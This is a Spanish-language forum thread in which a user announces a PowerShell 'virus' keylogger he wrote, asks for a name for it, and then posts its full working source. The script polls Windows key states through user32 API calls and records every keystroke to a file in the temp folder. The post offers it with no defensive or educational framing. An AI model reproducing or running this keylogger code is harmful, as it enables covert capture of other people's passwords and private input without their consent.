Autor
|
Tema: He creado un nuevo virus de tipo keylogger (Leído 5,889 veces)
|
MissingFile123
Desconectado
Mensajes: 2
|
Hola estimados usuarios de este foro, recientemente he hecho un keylogger en PowerShell y necesito colocarle un nombre, ¿Ideas?
|
|
|
En línea
|
|
|
|
MissingFile123
Desconectado
Mensajes: 2
|
PS C:\Users\lcmma> #requires -Version 2 function Start-KeyLogger($Path="$env:temp\keylogger.txt") { # Signatures for API Calls $signatures = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keystate); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int MapVirtualKey(uint uCode, int uMapType); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); '@
# load signatures and make members available $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru # create output file $null = New-Item -Path $Path -ItemType File -Force
try { Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
# create endless loop. When user presses CTRL+C, finally-block # executes and shows the collected key presses while ($true) { Start-Sleep -Milliseconds 40 # scan all ASCII codes above 8 for ($ascii = 9; $ascii -le 254; $ascii++) { # get current key state $state = $API::GetAsyncKeyState($ascii)
# is key pressed? if ($state -eq -32767) { $null = [console]::CapsLock
# translate scan code to real code $virtualKey = $API::MapVirtualKey($ascii, 3)
# get keyboard state for virtual keys $kbstate = New-Object Byte[] 256 $checkkbstate = $API::GetKeyboardState($kbstate)
# prepare a StringBuilder to receive input key $mychar = New-Object -TypeName System.Text.StringBuilder
# translate virtual key $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success) { # add key to logger file [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) } } } } } finally { # open logger file in Notepad notepad $Path } }
# records all key presses until script is aborted by pressing CTRL+C # will then open the file with collected key codes Start-KeyLogger
|
|
« Última modificación: 3 Mayo 2021, 22:33 pm por MissingFile123 »
|
En línea
|
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Secret keylogger (creado por mi) -Terminado-
« 1 2 3 »
Scripting
|
tOxiC;
|
22
|
12,465
|
1 Agosto 2009, 04:05 am
por Novlucker
|
|
|
Duda en archivo a enviar creado por Ardamax Keylogger
Hacking
|
el vecino
|
0
|
4,428
|
23 Marzo 2010, 19:43 pm
por el vecino
|
|
|
Virus creado por veil-evasion
Hacking
|
soxlet
|
8
|
4,818
|
15 Noviembre 2016, 23:47 pm
por Borito30
|
|
|
Electricfish, el nuevo virus para Windows creado por Corea del Norte
Noticias
|
wolfbcn
|
0
|
6,739
|
14 Mayo 2019, 21:53 pm
por wolfbcn
|
|
|
He creado Un virus con un Payload creado en Linux
Foro Libre
|
Tirenex
|
4
|
3,578
|
23 Marzo 2022, 22:26 pm
por Kayburn
|
|